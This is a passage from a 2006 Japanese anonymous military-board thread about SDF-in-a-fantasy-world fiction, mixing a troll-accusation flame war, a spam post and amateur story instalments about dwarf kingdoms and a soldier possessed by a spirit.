642 名前: 名無し三等兵 2006/07/16(日) 16:43:09 ID:???

>>640
具体的にどのレスが荒らしなのか、さっぱり?
どれがいけないの?>>629のコピペとか?

643 名前: 名無し三等兵 2006/07/16(日) 16:46:22 ID:???

あーあー火病りはじめたw すぐこいつは釣られるから面白い

644 名前: 名無し三等兵 2006/07/16(日) 16:47:02 ID:???

>>641
ソース

645 名前: 名無し三等兵 2006/07/16(日) 16:47:17 ID:???

>>643
なんだ釣り師だったのか。

646 名前: 名無し三等兵 2006/07/16(日) 16:48:39 ID:???

>>645
プ

647 名前: 名無し三等兵 2006/07/16(日) 16:48:43 ID:???

>>643
告白乙。通報しとくんでヨロシク。

648 名前: 名無し三等兵 2006/07/16(日) 16:49:53 ID:???

どこに通報するかもわからないんだろうなw

649 名前: 名無し三等兵 2006/07/16(日) 16:51:05 ID:???

一人で頑張っているのがみえみえ

650 名前: 名無し三等兵 2006/07/16(日) 16:52:22 ID:???

>>643
スレと関係あるんだけどさ、俺「釣り」とか「釣り師」っていうのは、

 釣り師 ↓     
.           /| ←竿
     ○  /  |
.    (Vヽ/    |
    <>     |
゙'゙":"''"''':'';;':,':;.:.,.,__|_________
             |
  餌(疑似餌)→.§ >゚++< 〜
                 の組み合わせだと思ってたんだけど、

最近自称釣り師がダイレクトで自分の本音を攻撃されて「釣れた!」とか
言ってるの多いよね。
 これは、どっちかというと、


          ,〜〜〜〜〜〜 、
|\     ( 釣れたよ〜・・・)
|  \    `〜〜〜v〜〜〜´
し   \
゙'゙":"''"''':'';;':,':;.:.,.,  ヽ○ノ
          ~~~~~|~~~~~~~ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                 ト>゚++<
              ノ)

かと思うんだけど、どうよ?


651 名前: 名無し三等兵 2006/07/16(日) 16:55:01 ID:???

>>650
お前は頭がおかしい

以上

652 名前: 名無し三等兵 2006/07/16(日) 16:58:24 ID:???

>>651
それってなんて勝利宣言?w

653 名前: 名無し三等兵 2006/07/16(日) 16:59:35 ID:???

>>651
痛厨はほんと議論弱いな。

654 名前: ◆YXzbg2XOTI 2006/07/16(日) 17:00:20 ID:UNytgPmN

そんな事より海産物と食い物の話でもしようぜ。

議題1:マーメイドとギルマン、どっちを蒲鉾にしたら美味しそうか?

議題2:魚人の漁をするにあたって海上自衛隊あるいは海上保安庁の果たす役割とは何か。   

655 名前: 名無し三等兵 2006/07/16(日) 17:01:25 ID:???

なんだ荒らしは逃げたのか。やっぱりチキンだな。

656 名前: 名無し三等兵 2006/07/16(日) 17:04:05 ID:???

>>654
空気嫁アホ 消えろ

657 名前: 名無し三等兵 2006/07/16(日) 17:04:50 ID:???

もう学園島スレの住人は、立ち入り禁止な。


658 名前: 名無し三等兵 2006/07/16(日) 17:08:05 ID:???

>>657
論破されて悔しいのはわかるが脳内ルールはイクナイ

659 名前: 名無し三等兵 2006/07/16(日) 17:11:38 ID:???

>>658
学園島住人として言わせて貰うと、
これ以上ここで議論するのは、とても迷惑だと思う。
退散した方がよくね?

660 名前: 名無し三等兵 2006/07/16(日) 17:12:29 ID:???

学園島住人を呼称しているあたり胡散臭いw

661 名前: 名無し三等兵 2006/07/16(日) 17:13:21 ID:???

>>659
住人だという証拠は?

662 名前: ◆YXzbg2XOTI 2006/07/16(日) 17:14:13 ID:???

海水魚より淡水魚が好きな人の場合はセイレーンとか
川にすんでる人魚系統の生き物がおいしそうに見えるのだろうか、とか
そいつらを食うにはどうすればいいのかとか、鮎の塩焼きを食いながら
考えてみる。

関係ないけど猫用マグロ缶って匂いだけは美味しそうだよね。


663 名前: 名無し三等兵 2006/07/16(日) 17:15:16 ID:???

>>660
いや、マジで。
ところで君は何処の住人?

664 名前: 名無し三等兵 2006/07/16(日) 17:16:21 ID:???

>>622
ウザいからやめろよお馬鹿ちゃん。スレ違いだろ。

665 名前: 名無し三等兵 2006/07/16(日) 17:16:38 ID:???

>>662
ちょっと黙っててくれる?

666 名前: ◆YXzbg2XOTI 2006/07/16(日) 17:18:50 ID:???

>議論

議論っていつからやってたのか不明だし議題が提示されてねーよ。


人魚の魚の部分は食えうると仮定して、人間の部分は果たして食えるのか否か。
というか、蒲鉾にするという目的からすれば人間部分の身は「人魚の蒲鉾」と
なりうるのか否か。

667 名前: ◆YXzbg2XOTI 2006/07/16(日) 17:20:54 ID:???

魚人を蒲鉾にするのに際して、「イルカは知的動物だから食っちゃ駄目」
見たいな問題は持ち上がるのか否か。


668 名前: 名無し三等兵 2006/07/16(日) 17:21:36 ID:???

>>666
邪魔だから分家に引きこもってろ

669 名前: 名無し三等兵 2006/07/16(日) 17:22:21 ID:???

>>666
重複スレたてんなボケ。


670 名前: ◆YXzbg2XOTI 2006/07/16(日) 17:26:14 ID:???

ところで何故蒲鉾かといえば原形をとどめてたりすると
食卓に上がったときに食欲を無くすのではないかという懸念である
からなのだが、なぜ魚人を蒲鉾にするかといえば半分は魚であるからして
過去の議題にあがった「オークやエルフのSPAM」よりはまだ、
人間に似ていないから(比較的)食材になりうるんじゃなかろうか?
ということなのだが


ここで問題発生! 先生、では獣人も牛肉や豚肉の代わりになりうるんですか!?
自分は犬耳獣人は可愛いと思うのでハンバーグにして食べたくはありません!!

671 名前: 名無し三等兵 2006/07/16(日) 17:29:00 ID:???

>>666
文字どおり低脳なんだよ。

痛厨(別名病原菌)

学園島戦争スレを、迷惑行為、嫌がらせ、及び多数派工作で荒らす人物。
主に古参住人のレスに反応、間髪置かずの連投で多人数に見せかけている。
他人のレスをスレ違いであると勝手に指摘するが、その理由を問うと意味不明な回答や
住人に対するスレ違い発言等を行い、以前タイフーン氏及び住人から問われた際は
「理解できない方が悪い」、「スレ違いに決まっている」などと書き込み理由を説明せず
(できない可能性大)、案の定自作自演で多数派を装った。

痛厨というあだ名は知性を感じられない書き込み内容やバレバレの自作自演、まともな議論が
できないことから付けられたもので、本人も了承していると思われる。
加えて精神年齢も非常に低いらしく、一つ否定的な意見を述べられると十数件の連投を行う。
自分のやっている事が荒らし行為だと理解できていない事も特徴の一つ。
常に他の住人を痛厨扱いする。ニート。

672 名前: ◆YXzbg2XOTI 2006/07/16(日) 17:33:50 ID:???

>>671
そんなの少官菌やGウィルスに比べればエボラ出血熱とインフルエンザぐらいの
差の開きがありますな。

少し食肉の話が獣人にそれるが、牛型獣人にもBSEが発生しうるのか、
発生したらどのようなことになるのかについて。

というかミノタウロスやゴズキに肉骨粉食わせたらどういうことになるんだろうか。

673 名前: 名無し三等兵 2006/07/16(日) 17:36:02 ID:???

>>672
重複スレたてんなボケ。

674 名前: 名無し三等兵 2006/07/16(日) 17:36:56 ID:???

>>671
自己紹介乙!

675 名前: 名無し三等兵 2006/07/16(日) 17:38:25 ID:???

荒らしは自治スレから出てくるな!

676 名前: 名無し三等兵 2006/07/16(日) 17:39:29 ID:???

自治スレぶっ潰せ!

677 名前: ◆YXzbg2XOTI 2006/07/16(日) 17:44:13 ID:???

しかしここまで蒲鉾だの獣人の肉だの話しておいてなんだけど
F世界に召還された自衛隊の食事が倒したモンスターの肉ばかりになったら
それはそれで凄く嫌というか、それ何てダンジョンマスター?

678 名前: 名無し三等兵 2006/07/16(日) 17:47:39 ID:???

>>672
あちらの病原菌は、全部、人間に感染する悪寒。

679 名前: 名無し三等兵 2006/07/16(日) 17:47:55 ID:???

>>677
一人で喚いて楽しいですか?

680 名前: 名無し三等兵 2006/07/16(日) 17:55:09 ID:???

学園島スレにこのスレの書き込みがコピペされていたから、荒らしは一人だな。

681 名前: 名無し三等兵 2006/07/16(日) 17:59:09 ID:???

また学園島スレかよ。

682 名前: 名無し三等兵 2006/07/16(日) 18:00:01 ID:???

>>681
あちらの病原菌は、全部、こちらに感染する悪寒。


683 名前: 名無し三等兵 2006/07/16(日) 18:03:50 ID:???

書きこみ時間の間隔が短すぎ。●持ちか携帯併用だな。

684 名前: 名無し三等兵 2006/07/16(日) 18:08:20 ID:fSpcPkp/

全員ID出せよもう

685 名前: 名無し三等兵 2006/07/16(日) 18:09:32 ID:s/q3QKVs

みんなID出せ

686 名前: 名無し三等兵 2006/07/16(日) 18:18:29 ID:7It4jq4Y

お?ID祭りか?
同志スターリンスレの嵐は規制かかったみたいだし、あんまり酷いようなら
運営に通報というのもありかも。
もっともどれが嵐なのかよく分からんが。
スルーしとけば十分対応可能なレベルに見えるし。

まあ要するに鉄道共和制万歳!

687 名前: 名無し三等兵 2006/07/16(日) 18:21:29 ID:fSpcPkp/

学園島スレ、防衛女子校スレ荒らしてる奴だろな>規制

688 名前: 名無し三等兵 2006/07/16(日) 18:21:37 ID:M5N7kmNA

もう皆荒らしなんかスルーしようぜ。
リアルじゃかまってもらえないから、こういう匿名掲示板で罵ってもらえるだけで嬉しいんだよ。
『感想』にあんなAA使ってる時点でおつむの中身がわかるだろ。

689 名前: 名無し三等兵 2006/07/16(日) 18:42:05 ID:s/q3QKVs

>>687
なんでそのスレが荒らされてるって知ってるの?
いつもその三つのスレに出入りしてるの?

690 名前: 名無し三等兵 2006/07/16(日) 18:44:07 ID:fSpcPkp/

おっ、モデム差し替えてきたかw

691 名前: 名無し三等兵 2006/07/16(日) 18:46:08 ID:s/q3QKVs

>>690
ごめん、意味がわからない。質問の答えになってないんだけど。

692 名前: 名無し三等兵 2006/07/16(日) 20:32:16 ID:tJceU8nH

このカオスな流れが大好きな俺がやってきましたよ!
エビフライ農家の夜は長い

693 名前: 名無し三等兵 2006/07/16(日) 20:43:49 ID:zMrELmwB

>>691
つまりはお前が痛い椰子だってこと。

理由は自分で考えろwwwwww

694 名前: 名無し三等兵 2006/07/16(日) 20:47:54 ID:s/q3QKVs

>>693
いい加減にしな。荒らしは規制だぞ!

695 名前: 名無し三等兵 2006/07/16(日) 20:50:54 ID:???

政府広報課改め政府広報 ◆F2.iwy/iJkが「知らぬ海」を徹底的に改悪した「日本異邦戦記外伝」が痛い

実現不可能な擬似永久機関を船に載せてるメンヘル作品

696 名前: 名無し三等兵 2006/07/16(日) 20:51:06 ID:fSpcPkp/

>>694
んじゃ通報するなりすればいいじゃない。荒らしと思うならさ。

697 名前: 名無し三等兵 2006/07/16(日) 20:56:01 ID:s/q3QKVs

荒らしが2人?

698 名前: 名無し三等兵 2006/07/16(日) 20:59:48 ID:fSpcPkp/

ID:s/q3QKVsはここに行け

荒らし対策相談所 part26
../../qb5_sec2chd/1150/1150304784.html

army:軍事[レス削除]
../../qb5_saku/1127/1127674719.html

army:軍事[スレッド削除]
../../qb5_saku/1128/1128864613.html

699 名前: 小官 ◆qG4oodN0QY 2006/07/16(日) 21:02:35 ID:???

ID晒すのも良いがね…
板違いを狙う愚劣な手段に乗ってどうすると言うのだ、住人達よ!
ネタも知能も脳も持たん奴に付き合う程、諸君等は暇では無かろうに?

       ただの低脳がやる事だ。無視が一番さ。

 煽りに弱い小官の言う事だ。これは真理だ。付き合う奴が居なければ
勝手に消える。ま、>>695のような挑発を繰り返すしかないLVだからな?

 小官やGのLVに到達するまでは五回のブレイクスルーでも効かんな。


700 名前: 名無し三等兵 2006/07/16(日) 21:04:44 ID:???

>>699
消えろ。目障り

701 名前: 名無し三等兵 2006/07/16(日) 21:08:01 ID:s/q3QKVs

>>698
君が荒らしなんだね?
なんでこのスレを荒らすのか聞きたい。

702 名前: 小官 ◆qG4oodN0QY 2006/07/16(日) 21:09:33 ID:???

大体な、ID晒しと言う簡単な手に誘導されるとこのスレは弱いのだ。
何せグレーゾーンどころか、都市迷彩でやっと黒が混じってるレベルだからな?

 それを理解している住人は沈黙を保っている。消去法で行けば…分かるな?
小官が書き込んだのは、ヒートアップしているかも知れない極少数の人間に
呼びかけるためだ。このスレをまた流浪の憂き目に遭わす気か?

 小官をアボーンしていなかったらレスの意味が分かるな? 分かったら
マス掻き禁止! おっ立てて今日のところは悶々して寝てしまえ! 

 ご褒美は用意して置く心算だ。小官謹製で良ければ、だがね?

P.S.旧作を晒し上げた奴へ。…小官は充分に傷付いた。だが、懐かしかった。以上。

703 名前: 名無し三等兵 2006/07/16(日) 21:10:00 ID:???

>>699
思うんだけどさ、たぶん住人はみんなスルーしてると思うよ。
荒らしが一人3役くらいこなしてがんばってるんジャマイカ?

704 名前: 名無し三等兵 2006/07/16(日) 21:12:05 ID:???

てか荒らしてるのは小官だろ

705 名前: 小官 ◆qG4oodN0QY 2006/07/16(日) 21:13:16 ID:???

諸君、スレを通して見れば理解可能だろうが、
書き込んだ人間に対して>>700-701を繰り返すだけだ。

ただの人工無能だよ。人間の持ち時間は有限だ。有効に使おうや!

706 名前: 名無し三等兵 2006/07/16(日) 21:14:37 ID:???

>>705
荒らしをスルーできない奴も荒らし

707 名前: 名無し三等兵 2006/07/16(日) 21:15:35 ID:???

>>695は事実でしょ?

708 名前: 小官 ◆qG4oodN0QY 2006/07/16(日) 21:15:44 ID:???

>>703
そうだ。三十秒規制を律儀に守ってね?
小官はそう信じているよ。今日の所は、お休み。
ニヤニヤしながら阿呆の足掻きっぷりを愉しもう。

このスレの住人は皮肉屋が多いのは合点承知。

お休み、諸君。

709 名前: 名無し三等兵 2006/07/16(日) 21:20:00 ID:zMrELmwB

>>707
ID出そうね痛厨w

710 名前: 名無し三等兵 2006/07/16(日) 21:20:22 ID:???

「異邦戦記」が先にあって「知らぬ海」が同じ設定使ったスピンアウトだろ?

711 名前: 名無し三等兵 2006/07/16(日) 21:22:29 ID:s/q3QKVs

>>709
君が、荒らしの2人目だね。
なんでこのスレを荒らすのか聞きたい。

712 名前: 名無し三等兵 2006/07/16(日) 21:22:34 ID:fSpcPkp/

>>710
ID出せないんだね

713 名前: 名無し三等兵 2006/07/16(日) 21:23:36 ID:s/q3QKVs

>>712
質問に答えてくれ。

714 名前: 名無し三等兵 2006/07/16(日) 21:26:03 ID:zMrELmwB

>>713
ここでやると迷惑だから>>698のスレでやろう。いいよね?

715 名前: 名無し三等兵 2006/07/16(日) 21:28:58 ID:s/q3QKVs

>>714
いまさら何を。そうやって次々と他所のスレを荒らしたいのか?
どっちでもいいから質問の答えを書いといて下さい。

716 名前: 名無し三等兵 2006/07/16(日) 21:30:04 ID:zMrELmwB

>>715
俺は荒らし対策について話し合いたいのだが?意味のわからないことを言わないで欲しい。

717 名前: 名無し三等兵 2006/07/16(日) 21:30:04 ID:???

ID:fSpcPkp/=ID:zMrELmwBか。
荒らしは一人だったようだ。

718 名前: 名無し三等兵 2006/07/16(日) 21:31:05 ID:???

>>717
そうか、ID:s/q3QKVs。今運営にお前の行為を報告してきたからヨロ。

719 名前: 名無し三等兵 2006/07/16(日) 21:33:12 ID:s/q3QKVs

>>718
何を言っていやがる糞荒らし!
私は荒らしなんかしてない!嘘の報告するな!

720 名前: 名無し三等兵 2006/07/16(日) 21:34:39 ID:???

>>719
荒らしなんだからしょうがないでしょ。そういうのはルール違反なんだから。
なんなら削除議論板にでも行って異議唱えれば?

721 名前: 名無し三等兵 2006/07/16(日) 21:35:08 ID:s/q3QKVs

ID:fSpcPkp/に質問したらID:zMrELmwBが答えた。
明らかに同一人物じゃないのか?

722 名前: 名無し三等兵 2006/07/16(日) 21:37:00 ID:???

>>721
随分必死だけどもう無駄だよ。お前のやってきたことは全部報告させてもらったから。
近いうちにアクセス規制、最悪の場合アク禁くらうかもしれないから覚悟しておいてね。

723 名前: 名無し三等兵 2006/07/16(日) 21:37:54 ID:s/q3QKVs

>>720
お前が荒らしだと言うことはよくわかったよ。
知り合いの運営に直接言っておくから覚悟しとけ。

以上


724 名前: 名無し三等兵 2006/07/16(日) 21:39:09 ID:???

>知り合いの運営
>知り合いの運営
>知り合いの運営
>知り合いの運営
>知り合いの運営

とうとう狂ったか

725 名前: 名無し三等兵 2006/07/16(日) 21:40:17 ID:???

敗北宣言キタコレ

726 名前: 名無し三等兵 2006/07/16(日) 21:43:50 ID:???

馬鹿だろこいつw 確かに痛いw

727 名前: 名無し三等兵 2006/07/16(日) 21:43:50 ID:???

元某プロバイダの者です。
IP割り出し依頼が来ると、住所とか本名とか職業とか
調べるんだけど…。(もちろん警察に公表はしないけど)
結構、ちゃんとした人が多いんだよね。
公表はされないけど、やっぱ自分らみたいなのには
バレちゃうんで、やめたほうがいいと思うよ。
どこで繋がってるか分からんからね。

728 名前: 名無し三等兵 2006/07/16(日) 21:44:51 ID:fSpcPkp/

>>727
どこのコピペだよコレw

729 名前: 名無し三等兵 2006/07/16(日) 21:47:22 ID:???

>>727
来るタイミング良すぎだろw

ID:s/q3QKVs自演乙!

730 名前: 名無し三等兵 2006/07/16(日) 22:10:51 ID:???

あれ?もう>>727は来ないの?w

731 名前: 名無し三等兵 2006/07/16(日) 22:56:58 ID:???

このスレでは前スレ909 ◆XRUSzWJDKM氏のSSが一番面白かった。
「指揮」と言うところがツボでした。
他にSS書いていないんでしょうか。

732 名前: 名無し三等兵 2006/07/16(日) 23:05:27 ID:???

自分で探せカス

733 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/16(日) 23:38:51 ID:dHmb+Xm2

まあいいや。仕事いくんで今日はじめてにして最期の1れす
ミノタウロス VS 肉骨粉 ゲキワロタwww

小官殿SS晒しは真意はどうあれ、オイは嬉しかったですよ。
ーそうだよなあ、こーゆーの書きたい、と。

大本営どののような美しい話も書きたいが残念。力不足(翡翠演説長い略)
みなさまおやすみなさいませ。。

嵐殿は、お好きなネタを提供プリーズ。私で宜しければ書きませう。
ではでわ・・仕事いってきます

734 名前: 名無し三等兵 2006/07/17(月) 00:02:58 ID:???

ミニミを2丁抱えてぶっぱなすパワースーツ小隊・・・・・・・
いや、何でもない。

735 名前: 名無し三等兵 2006/07/17(月) 01:37:10 ID:???

はじめまして!!ダイレクトに言いますねっ!
セフレ探してますっ!(>_<)

いろんな出会い系サイトなどあるけど、料金もかかるし、なんとなく不安で。。

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736 名前: 名無し三等兵 2006/07/17(月) 10:59:36 ID:MB3fz6cX

で、昨日のアホはどこに行ったんだ?w

737 名前: 名無し三等兵 2006/07/17(月) 11:17:20 ID:???

相手にしないで、居ない人扱いしようよ。
リアルでそういう扱い受けてるから、ここでもそうされれば来なくなるって。

738 名前: 名無し三等兵 2006/07/17(月) 11:34:09 ID:???

>>737
そうだね痛厨君^^

739 名前: 名無し三等兵 2006/07/17(月) 11:42:51 ID:/yNdFITw

ま、病気なんだしな>荒らし

740 名前: 名無し三等兵 2006/07/17(月) 13:48:44 ID:???

また痛厨がタイフーンスレ荒らしてるねぇ。一日中いるんだなw

741 名前: 名無し三等兵 2006/07/17(月) 14:12:28 ID:???

>>740
解かったから巣にお帰り。

742 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/17(月) 14:14:33 ID:???

じゃ、どないしましょ。

小官殿の投下待ちます?
いちお眠らないでパワードスーツのは作りましたが、
例によって私は肝心の「作品の息吹」の部分がまるでかけませんから。

(==)やっぱ小官殿or大本営殿の投下待ちましょうかしらね。

743 名前: 名無し三等兵 2006/07/17(月) 14:14:54 ID:???

>>741
透明な人に喋りかけちゃ駄目でしょ!

744 名前: 名無し三等兵 2006/07/17(月) 14:16:11 ID:???

>>742
2、3年は、金庫にしまっとけ。

745 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/17(月) 14:19:31 ID:???

>>744
おK。承知 )ノシ

746 名前: 名無し三等兵 2006/07/17(月) 16:56:35 ID:???

>>745
流れを読まずに投下キボン

747 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/17(月) 17:14:55 ID:???

翡翠の粗品でよければ、投下は何時でもOKよん。
つか私がいるからイヤイヤ☆される方もいるかもしれん、と身を引いているので。
じゃ、投下して見ませう。

748 名前: ドワーフの国とコボルドの国の物語 ◆PujjQOi5D. 2006/07/17(月) 17:20:39 ID:???

2xxx年。
魔界・・もとい、現代日本の世界から、
数多の異世界に飛ばされ続けた『 市民と自衛隊の生き残り 』達は、

今から語られる“この物語”の頃には
“現代日本とほぼ同じ状態のドワーフの国”に飛ばされていた。

この国の名は『ドワーフ・ニーフ皇国』
この国のドワーフの女神の名を取った国名であるという。

この国の内容といえば、
平成日本から日本人とドワーフが入れ替わった様な国、といえば当りだろう。
ただ、不思議な事に、空港も港もあるのに、
殆ど現代日本の自衛隊とウリ二つの装備=空自と海自のが、全部お蔵入りしている事であった。
というか、陸自の装備も殆どお蔵入りしている状態であった。

それは置いておいても、おかしなことに、
平和憲法まで謳っているところまで、現代日本とソックリなのであった。

749 名前: ドワーフの国とコボルドの国の物語 ◆PujjQOi5D. 2006/07/17(月) 17:25:26 ID:???

まあ、いずれにせよ、
方々の異世界に飛ばされまくり(まるで商社のリーマンだ)の
『 市民20万 と 数万の自衛隊隊員 』達は、
ほとんどようやく、元の日本の(文明)世界に辿り着いたようなものだった。

市民達は、ドワーフの番組ではあったがTV娯楽にありつけ、
自衛隊は、念願の“ある程度の装備品の修復と燃料の完全充填”を果たす事が出来た。

それで、いつかすごした、
ひさかたぶりの“安楽な日々”というやつを皆々が満喫することができていた。

ここには、
現代日本にある大抵の何でもが、あった。
まったく、言う事なしの世界であった。

だが、なかなか、
『 長き安楽の日々よ、何時までも・・ 』とは、いかないものである。


750 名前: ドワーフの国とコボルドの国の物語 ◆PujjQOi5D. 2006/07/17(月) 17:29:56 ID:???

2週間ほど

“現代日本にいるかのような快適な冷房生活”
を送っていた彼ら“流浪の市民と自衛隊”の保護国

『ドワーフ・ニーフ皇国』が、

隣国からの“ 武力行使による嫌がらせ”を受けるにいたったのである。


751 名前: ドワーフの国とコボルドの国の物語 ◆PujjQOi5D. 2006/07/17(月) 17:32:46 ID:???

天羽日 午前10時10分
ドワーフ・ニーフ皇国「難民宿泊地・自衛隊駐屯区」施設内

「 臨時ニュースを申し上げます 」

突然のブラウン管からの警告に、隊長の本田の目が鋭く光る。
同時に、隊員達にも様様な衝撃が走った。

「 皇国平泉年・安月・天羽日の本日午前10時 」
「 北マンセレッド共和国軍が、新型ミサイルを発射 」
「 ミサイルはドワーフ・ニーフ皇国領ニーフ海北部に着弾 」
「 現在、皇国は北マンセレッドに対し厳重抗議を準備中・・ 」

「 本田さん! 」「 騒ぐな!! 」
突然の臨時ニュースに総立ちした隊員達を、
ここにいる隊員総ての長である本田が一喝のみにて沈めあげた。
「 皇国政府に状況を確認してくる。皆は静かに報告を待て 」
「 首相官邸に電話を! 」「 いかん!敵に盗聴されていたらどうする! 」
本田は、隊員達に厳重に待機を厳命したのちに、
駐屯地宿泊施設から線路で直通している皇国議事堂へ向けて、
駐屯地駅に停車したばかりの『 快速電車・ドワーフ大陸1号 』へ飛び乗っていったのであった。


752 名前: ドワーフの国とコボルドの国の物語 ◆PujjQOi5D. 2006/07/17(月) 17:43:56 ID:???

天羽日 午前10時20分
ドワーフ・ニーフ皇国「 快速電車・ドワーフ大陸1号 」車両内

「 ・・・???? 」

本田の・・・気のせい、なのだろうか?
冷房の良く効いた、美しい曲の流れる快適な『 ドワーフ大陸1号 』の中で、
本田のこめかみに、一筋の不愉快な汗が流れ出していた。

午前10時20分、本田隊長は、
ド皇国の「 快速電車・ドワーフ大陸1号 」車両内に、いた。
「 快速・ドワーフ大陸1号 」車内は、
繰り返し繰り返し、朝の臨時ニュースをアナウンスし続けている。

どこからどう見ても、国家危急存亡の秋、のはずで、ある。
なのに。

本田の目の前の光景は、
謹厳実直なる男の見本である本田の理解を超える光景ばかりであった。

寝ている。どいつもコイツも寝ている。
起きている奴は、どいつもコイツも電車内だというのに、
懐の中のワインを取り出してグビグビグビとやりだして真っ赤ッ赤であった。

まともそうなドワーフも、
・・・いや、総ての、どのドワーフも、まるで、上の空だった。

というか、
朝っぱらから・・・電車の中で酒盛りの真っ最中であった。


753 名前: ドワーフの国とコボルドの国の物語 ◆PujjQOi5D. 2006/07/17(月) 17:48:19 ID:???

・・・・と、本スレではここまで。
後の続きは異界に置いていますので、お読みになされる方はアチラでドゾ。
ではでは、小官殿または大本営様の作品をともにマターリまちませう〜
(・w・)ノシ

754 名前: 小官 ◆qG4oodN0QY 2006/07/18(火) 03:54:05 ID:???

>>532

 「さてと相棒、落ち着いたな? 」
 「…まだ…もう少し…そなたを…」

 小川はサイアの背を軽く叩き、離れようとしたが、サイアの中の別人がまた
抱き寄せ、小川の胸に頬擦りをし、鼻を鳴らして匂いを嗅ぐ素振りを見せた。 

 「らしくもない可愛い事を言いなさんなよ相棒、っと」
 「あ…」

 小川は公子に含羞の笑みを見せた。サイアの顔をした別人は公子の存在に
やっと気付いたらしく、首まで真っ赤に為って照れていた。思わず公子は何故か、
そこはかとない罪悪感に囚われてしまう。

 「事情を説明するとだ。俺はこのお嬢ちゃん、坊ちゃんの臣下のサイアちゃんの
  中の別人…極東方面監察官の戦乙女の手駒になっちまった人間だ。道具だわな」
 「好きでそうした訳では無い! そなたが死にそうだったから仕方無く…! 」
 
 慌てて口を挟むサイアに、小川は優しく微笑む。全部解っているんだよ、と小川の
眼が語っていた。さらにサイアの頬の紅潮が激しくなった。

755 名前: 小官 ◆qG4oodN0QY 2006/07/18(火) 03:57:14 ID:???

 公子はふと、小川に呟く。
 
 「弧の臣、サイアは今…? 」
 「ああ、居る。俺の相棒と今、俺についての記憶と感覚を共有してる頃だろうな。
  お互いこっ恥(ぱ)ずかしい事(こ)って…なあ、相棒? 」

 右片方の眉を上げ、悪戯っぽく小川はサイアに笑ってみせる。するとサイアは小川の
頬に平手打ちをかまそうと手を振り上げた。小川は即座に銃剣を鞘に突っ込み、空に
なった手でサイアの腕を掴み、引き寄せる。サイアの喉元に大刀の物打ちが突き付け
られた。サイアの大きな眼から、綺麗な雫が次々と生まれ出る。

 「…どうやら俺の相棒は引っ込んだらしいな? わりいわりい、イジメ過ぎたか? 」
 「貴方は…優しいけれど…! 」
 「なんだい嬢ちゃん? そいつは俺も解ってるんだ」 
 「…とても…残酷な人です! 」

 小川の顔が酢を飲んだが如く歪む。絶えず浮かべていた唇の端のニヤニヤ笑いが消えた。
逆に公子の顔が綻ぶ。サイア、と呼びかけようとして、息を呑んだ。サイアが怒っていたからだ。

756 名前: 小官 ◆qG4oodN0QY 2006/07/18(火) 04:16:59 ID:???

 「貴方が死んだ理由は、あの人が…他の女性の中に封印されたのを知っていて…
  その女性にわざと殺された事! あの人は貴方を殺す瞬間までその女性と感覚を
  共有していたのに! そしてもっと酷いのは…! 」
 「その続きは止めな? 嬢ちゃんよ? 今、自分がどう言う状況か解ってるのか? 」

 途端に張り詰める周囲の空気に、公子は息を呑んだ。物理的に感じられる程の殺気を
浴びたのだ。公子はただ、先程の暴漢達がこれを浴びずに死んだ事を幸せに思えた。 

 「その女性が、貴方とあの人の関係に嫉妬していて、貴方を渡したく無いから殺すのだと
  言う事を知っていて、ワザとその女性の嫉妬を煽るように振る舞って居た事よ! 」
 
 小川はモノも言わずに大刀を持つ手を下げた。サイアの首に一筋の紅の線が走った。

 「…私に最初に訴えかけた『剣』…! それが…その女性よ! 貴方が散々無視して来た、
 その女性も、あの人の中に居る! 貴方は知らなかったでしょう、それは! 」
 「あの馬鹿…どうしてそんな事を…」
 「…貴方に人間らしい感情を、取り戻して欲しかったからよ…。ただ…それだけ…?」

 小川はサイアを解放し、公子に押しやった。殺気が緩む。小川の苦笑が、痛々しく見えた。

 「坊ちゃんの臣下をキズモノにしちまって済まねえな? 次はそっちの事情を聞く番だ」
 

757 名前: 名無し三等兵 2006/07/18(火) 04:18:41 ID:???

ゲロが出そう

758 名前: 小官 ◆qG4oodN0QY 2006/07/18(火) 04:29:14 ID:???

 まあ何だ、説明臭いのは地でな? 次は公子とサイアの逃げてる事情なのだが。

 小川憲人。無貌の神に愛されし男。元々無い物を有る様に見せかけるのは簡単だ。
だが彼は、死ぬ前に『己の顔』を取り戻した。だから今は心から悩むし、怒るのだよ。
 それまでは他者の反応を見てから他者の思うように演技するだけだったのだ。

 と、wikiの外伝01で小川本人に語らせている。以上。面白がっているでは無いか?
とのツッコミは有るだろうが、それもまた小川の演技である。実はただ見ているだけ
なのだ。風景を何の感慨も無く見るが如くに。そんな奴は人間としては終わってるね、ウム。

長くなったが終わる。設定では自衛隊は帝国内で健在だ。少し魔導文明を取り込みながら。以上。

…お休み。

759 名前: 小官 ◆qG4oodN0QY 2006/07/18(火) 04:33:09 ID:???

>>757
そりゃそうだ。三点リーダや単語で済ましてた所を全部書いたからな?
感情全部書いちまえば気持ち悪くもなるさね? 同情するよ。小官も反吐が出そうだw 

760 名前: 名無し三等兵 2006/07/18(火) 07:33:43 ID:???

SSこないかなー。

761 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/07/18(火) 08:43:32 ID:???

>>760
SSって、武装親(ry)?

762 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/18(火) 10:17:42 ID:???

皆さん早起きだなー

SSといえば ショート・ソー(略w) またわ剣と盾☆

763 名前: 名無し三等兵 2006/07/18(火) 15:50:57 ID:???

すいません。
続き読みたいんですけど
ドワーフの国とコボルドの国の物語 ◆PujjQOi5D.さんの
言われる異界ってどこでしょうか?

764 名前: 名無し三等兵 2006/07/18(火) 17:50:07 ID:???

また1だおーは
途中で書くのやめるん?(´・ω・`)

765 名前: 元1だおー 2006/07/18(火) 18:35:13 ID:???

>>764
もうSS書くのやめようかな・・・などと最近思うことがあります。

766 名前: 名無し三等兵 2006/07/18(火) 19:14:14 ID:???

2ちゃんごときでストレス溜まるんなら、書くのやめた方がいい。

767 名前: 名無し三等兵 2006/07/18(火) 19:32:42 ID:???

620付近のSS以降、あぽーんばっかでSSが来なくて寂しい。

768 名前: もと1だおー 2006/07/18(火) 19:46:53 ID:???

>>766
SS書きというか軍板に来るのもやめようかなと思っています…。私生活でも(´・ω・`)

769 名前: 名無し三等兵 2006/07/18(火) 20:15:25 ID:???

>>768
つらいのはあなただけじゃないから、
がんばって (・´ω`・)

770 名前: 名無し三等兵 2006/07/18(火) 20:16:01 ID:???

